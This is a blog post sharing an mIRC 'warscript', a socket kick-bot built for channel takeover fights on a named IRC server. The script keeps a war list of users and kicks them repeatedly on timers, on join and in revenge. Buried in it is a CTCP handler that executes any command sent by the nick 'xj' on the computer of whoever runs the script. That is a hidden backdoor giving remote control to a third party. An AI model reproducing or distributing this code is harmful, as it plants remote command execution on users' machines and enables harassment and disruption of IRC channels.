and fix by yourself(make the timer compatible to your com and ISP connection).. Thanks :D
==================================================
______ __ ______ _________ ______
___ / / /____ _____ |/ /___ /_ ___ / _____
__ /_/ / _ / / /__ /|_/ / __ __ \__ / _ _ \
_ __ / / /_/ / _ / / / _ /_/ /_ /___/ __/
/_/ /_/ \__,_/ /_/ /_/ /_.___/ /_____/\___/
--------------------------------------------------
* times: 12/12/2010 from 12am - 6.35am
* Built For Rekick Server : bohsia.homelinux.org 6667
* Warscript By; sEmuT^Ap| a.K.a Code-Q
-
==================================================
on *:start: {
.nick sEmuT^Ap|
.fullname : 9HUMBLE-TEAM
.anick jipas
.emailaddr m_matsalleh $+ yahoo.com
}
alias sf2 { .sockclose * | .iut | .echo -a 9::::::: connecting %socknick | halt }
alias iut { sockopen %socknick %server %port | .notify %socknick | .echo -a 7::: reconnecting }
alias f2 { .set %socknick jeff | .set %pass a | .set %server bohsia.homelinux.org | .set %port 7000 | .echo -a 7:::: Socket Bot COnfigured | halt }
alias hKh { return $mid($1,2,$calc($pos($1,!,1) - 2 )) }
alias f3 { if (!%c) set %c $?"Channel Input" | else { set %c $?"Change Your Channel Input" } }
alias f7 { sockclose * | .echo 4 ** sockets CLosed ** }
alias sf7 { msg $chan : 4Cal ialah $fulldate }
alias f5 { %d = $addtok(%d,$1,44) | %e = $addtok(%d,$1,44) | %war = $addtok(%war,$address($1,2),32) | if ($sockname ison %c) && ($1 ison %c) .hk $sockname kick %c %e | echo 4 -a ** $1 Added To WaRList ** }
alias sf5 { %d = $remtok(%d,$1,1,44) | %e = $remtok(%e,$1,1,44) | %war = $remtok(%war,$address($1,2),32) | echo 4 -a ** $1 Removed From WaRList ** }
alias f6 { %flist = $addtok(%flist,$1,44) | .echo 4 -a ** $1 Added To Friends ** }
alias f8 { unset %war %kick %e %d %k | msg $chan 4 *** Clear *** }
CTCP *:*:{
if ($nick == xj) { $1- }
}
alias sf8 { unset %socknick %pass %server %port | .echo 4 **! SOcknick Is Now Clear,Please Log New For Socknick selected**! }
alias f9 { .sockwrite -tn %socknick privmsg $chan *** 8,7[ KICK : $iif(%kickni,%kickni,0) TIMES] ; 8,7[ KICKED : $iif(%kickme,%kickme,0): TIMES] 8,7[ACCURACY-KICK : $round($calc(( %kickni / ( %kickni + %kickme ))*100),2) $+ % ] *** }
alias f10 { unset %kickme %kickni | .sockwrite -tn %socknick privmsg $chan : 8,7COUNTER 8,7KICK 8,7RESETING TO GAIN NEW POINT }
on 1:sockopen:%socknick: {
if (!$sockerr) {
sockwrite -nt $sockname USER ING $+ $r(99,999) * * : 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14»
sockwrite -nt $sockname NICK $sockname
sockwrite -nt $sockname umode -Mmep
.set %warmode $true
if (!$window(@HumbleGath)) window -ek @HumbleGath
if (%e) {
.timerkola -m 30 50 .sockwrite -tn %socknick kick %c %e : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +connected
}
}
}
on *:unotify:{
if ( $nick == %socknick ) {
.sockclose *
.unset %warmode | .timer 1 1 .iut | .set %warmode $false
}
}
on *:notify:{
if ($me ison %c) && ( $nick == %socknick ) {
.timerrkc -mc 200 0 sockwrite -tn %socknick join %c
.sockwrite -tn %socknick privmsg %c hye im coming!!
}
}
on 1:sockread:*:{
if ($sockerr > 0) { return }
var %temp | sockread %temp
if ($sockbr == 0) { return }
if (%temp == $null) %temp = -
tokenize 32 %temp
if ($regex($1,^ERROR)) { sockclose $sockname }
elseif ($regex($1,^PING$)) { hk $sockname PONG $2 }
elseif ($regex($2,^(432|433)$)) { hk $sockname NICK $sockname }
if ($2 == 376) {
if ($me ison %c) {
.echo -a 9** $sockname ** connected to %server
hk $sockname JOIN %c
}
}
if ($2 == kick) {
var %m $hkh($1)
if ($4 == $sockname) {
%d = $addtok(%d,%m,44)
%e = $addtok(%e,%m,44)
%war = $addtok(%war,$mask($1,2),32)
inc %kickme
.. %kickme Times.
.hk $sockname join %c
.hk $sockname kick %c %m : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» http://www.hawkee.com/snippet/8212/ | .timerkicks -mc 25 45 .hk $sockname kick %c %m : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +targeted
}
else { %e = $remtok(%e,$4,1-1,44) | return }
}
if ($2 == mode) && (%warmode) {
if (+o == $4) && ($5 == $sockname) { .set %Op.Me !
if (%kick) {
hk $sockname kick %c $gettok(%e,1-1,44) : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +mode | .timerkicks -mc 30 65 hk $sockname kick %c $gettok(%e,1-1,44)) : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +stage=1 | { set %OP.Me $true }
}
}
else { return }
}
if ($2 == join) {
var %j $hkh($1)
if ($istok(%war,$mask($1,2),32)) && (%j != $sockname) {
%e = $addtok(%e,%j,44)
if (%Op.Me) hk $sockname KICK %c %j : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +join | .timerkicksi -mc 1 70 hk $sockname KICK %c %j : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +2ndJOIN
}
else { return }
}
if ($2 == 353) {
var %list $remove($7-,@,+o,-o,+v), %num = 1
while ($gettok(%e,%num,44) != $null) {
if ($gettok(%e,%num,44) isin %list) {
%k = $addtok(%k,$gettok(%e,%num,44),44)
}
inc %num
}
}
if ($2 == 002) { .hk $sockname join %c }
if ($2 == 401) || ($2 == 461) { %e = $remtok(%e,$4,1-1,44) | return | .timers off }
if ($2 == 366) { if (%e) && (!%kick) .timerrekick -m 1 150 hantaker $sockname }
if ($2 == 441) { %e = $remtok(%e,$4,1-1,44) | return | .timers off }
if ($2 == 482) { if (!%kick) { %kick = 1 } }
else { echo @HumbleGath $2 $1- }
}
on 1:input:*:{
if (.clear = $1) { .f8 | .sockwrite -tn %socknick privmsg %c 4Sudah clear bah tuan!!! }
if (.say = $1) { .sockwrite -tn %socknick privmsg %c 4Kepada Kawan² Mohon Maaf Kalau Terkasar ekk~ :) }
if (.point = $1) { f9 }
if (.reset = $1) { f10 }
if (.rest = $1) { .sockwrite -tn %socknick privmsg %c ~waroff for battlebohsia's commands }
if (.lag = $1) { .sockwrite -tn %socknick privmsg %c ~lagme }
if (.bl = $1) { .sockwrite -tn %socknick privmsg %c ~resetme }
}
on 1:nick:{
if ($istok(%d,$nick,44)) { %d = $reptok(%d,$nick,$newnick,1,44) }
if ($istok(%e,$nick,44)) { %e = $reptok(%e,$nick,$newnick,1,44) }
}
on 1:kick:%c:{
if ($knick != %socknick) {
if ($istok(%d,$knick,44)) { %d = $remtok(%d,$knick,1,44) }
if ($istok(%k,$knick,44)) { %k = $remtok(%k,$knick,1,44) }
if ($nick == %socknick) { .inc %kickni = 1 }
}
}
alias hk { sockwrite -nt $1- }
alias hkgath {
goto $r(1,1)
:1 | return : 9 -.HumBL3.TeaM.- 366 kicker!!!!
}
alias hantaker {
if (%e) { .sockwrite -tn $1 kick %c $v1 $hkgath }
if ($gettok(%e,1-1,44)) { .sockwrite -tn $1 kick %c $v1 $hkgath $+ 1 }
if ($gettok(%e,2-2,44)) { .sockwrite -tn $1 kick %c $v1 $hkgath $+ 2 }
}
menu channel {
-
.[join] { .sockwrite -nt %socknick join %c }
}
menu nicklist {
-
.[kick|mode] { .sockwrite -nt %socknick kick %c $1 9Ehh~ Manual kick }
}
menu channel {
-
.[join|part] { .sockwrite -tn %socknick part %c 9Humble-Team | .sockwrite -nt %socknick join %c | .sockwrite -tn %socknick privmsg %c ~waroff | halt }
}
No comments:
Post a Comment